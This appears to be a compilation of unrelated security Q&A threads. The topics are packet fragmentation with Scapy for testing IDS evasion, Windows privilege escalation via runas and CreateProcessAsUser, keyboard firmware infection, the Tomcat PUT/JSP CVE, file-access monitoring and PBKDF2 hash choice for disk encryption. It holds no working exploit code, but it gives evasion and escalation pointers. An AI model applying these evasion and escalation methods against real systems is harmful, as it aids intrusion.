My suggestion is to go with the Scapy option. It is less painful in the long run and gives very very granular control over packets. If you want to test fragmentation for the purpose of bypassing IDS, you are going to need a LOT of trial and error, changing many and multiple fields (checksums, header length, packet length) and at least for scalability, you will not want to fragment existing pcap files one by one. You mentioned that you are stuck with Scapy, but why exactly?

In any case, wireedit at https://wireedit.com is one of the best tools to manage and edit pcap files.


What ways are there to elevate from a non-priv account to system on windows? I have a few computers at home on which i hack for fun. Until now google has been able to answer my questions. But now I need your help. What ways are there to elevate from a non-admin user to NT system? Source code, how to's and explenation on how they operate would be awesome!

Firstly, there's the runas application, which allows you to impersonate any user on a system. Just pass the call to the program you want to run through runas and it can be run with any user you like.

Secondly, there's the WindowsIdentity class for .NET which allows you to impersonate users if you have sufficient rights.

WinAPI also features some functions to create processes for a user different than the one executing the current process, see the CreateProcessAsUser function for further details.


Can I use the same keyboard on both my infected and non-infected computers? I have a computer which is virus infected. Can I use the same keyboard on both it and a "safe/clean" computer without fear?

Keyboards these days seem to come with built in software and thus must have a small amount of memory... right?

An USB device necessarily has some circuitry to implement the USB protocol: enough to identify itself as a keyboard, negotiate some current to draw from the host, and send key press/release events. This means that there is, in the keyboard, some skeletal CPU with its software (often dubbed "firmware"). Correspondingly, this is potentially hackable.

In particular, some keyboards have upgradable firmwares, so some malware on a machine could send a malicious upgrade to the keyboard, contaminating it permanently. This has been demonstrated for an Apple keyboard (not a gaming keyboard with an open API for running custom application, just a regular keyboard): a malicious firmware upgrade which embeds a keylogger in the keyboard itself. The really nasty part of the demo is that a firmware upgrade, by nature, is written to some sort of permanent storage (EEPROM or Flash), so it will resist poweroff states.

Conversely, if a keyboard firmware is not upgradable, then it probably is incapable (physically) of retaining any altered data when power is cut. Such a keyboard would be safe to exchange between an infected and a non-infected machines -- as long as it is not a wireless keyboard, because these ones have batteries.

However, how would you know if your keyboard firmware can be reflashed ? It is rarely documented...

Probability of keyboard-transmitted infection is still low; I have not heard of any case beyond the Apple keyboard demo. However, you've been warned.


Why is CVE-2017-12617 considered a vulnerability? CVE-2017-12617 is a remote code execution vulnerability via JSP upload. It requires the HTTP PUT method to be enabled on a vulnerable tomcat instance.

Why is this considered a vulnerability and CVE worthy? Doesn't enabling HTTP PUT on web servers always imply that files can be uploaded to the server, which are consequently processed / executed in the context of the web server when requested?

From the CVE

  This JSP could then be requested and any code it contained would be executed by the server.

PUT suggests a resource will be placed. But unless the API explicitly states so it does not imply it will change execution behaviour of the server.


Is it possible to log all file reads performed by an application in Windows 7? I have a piece of software I'm supposed to be running on my computer. The only thing I'm slightly worried about is the files it reads, as it's closed-source and slightly fishy.

I know it's not malware, but I'd like to see if it accesses, for example, my personal documents. Optimally, I'd like to be able to kill it in that case.

Is this setup possible? I'm running Windows 7 Home Premium on my laptop. I do have multiple computers if needed, and I'm prepared to write code to use the Windows API or other things if needed.

Process monitor can do that for you:

https://technet.microsoft.com/en-us/library/bb896645.aspx


Hashing algorithm for cryptsetup I will encrypt my SSD using cryptsetup and I would like to know which hashing algprithm to use.

First of all, cryptsetup benchmark:

PBKDF2-sha256     262144 iterations per second

PBKDF2-sha512     167397 iterations per second

PBKDF2-ripemd160  362077 iterations per second

PBKDF2-whirlpool  190511 iterations per second

I was thinking to use PBKDF2-sha512 but maybe PBKDF2-whirlpool is better ?
I would like to wait about 2s at boot for hashing so it would be something like 400k iterations if whirlpool and 350k if sha512.

What do you think is the best ?

The point of strong password hashing functions is to make password processing slow so that attackers find it harder to run a brute force attack on your password. Unfortunately it makes it slower for you too; this is the limit of the exercise. At best, you make the function n times slower for you and n times slower (with the same n) for the attacker; but the attacker can buy some "specialized hardware" (e.g. GPU or FPGA) that, depending on the used function, may allow him to suffer less than you from all the iterations.

So what you want to avoid is a function that increases the computational task more for you than for the attacker. You use a plain general-purpose CPU, probably some sort of x86-compatible PC. The attacker can buy PC, but he can also buy some GPU or some FPGA that may deliver more computing power (i.e. more password tries per second) for the same budget.

Thus, you should avoid SHA-256 and RIPEMD-160, both of which relying on 32-bit integer operations that are remarkably efficient on GPU. SHA-512 would be a better bargain: your PC CPU is rather good at 64-bit operations (either in 64-bit mode, or through SSE2 opcodes in 32-bit mode), while a typical GPU is not. Using SHA-512 will make the task 2 or 3 times harder for the GPU-wielding attacker (he will still gain from using GPU, but not as much as witth SHA-256).

Whirlpool is normally implemented with lookup tables and will probably be quite slow on a GPU (but bitslice implementations should be explored). However, one may expect Whirlpool to map quite well to FPGA (just like AES), so if you fear advanced attackers who don't shy away from using FPGA, then don't use Whirlpool here.

To sum up, PBKDF2/SHA-512 can be said to be your best choice (arguably, it would be better if you could use bcrypt). However, remember that such differences tend to be dwarfed by what you can achieve with a stronger password. Using a high-entropy password is the first line of defence, and more important than the hashing function choice.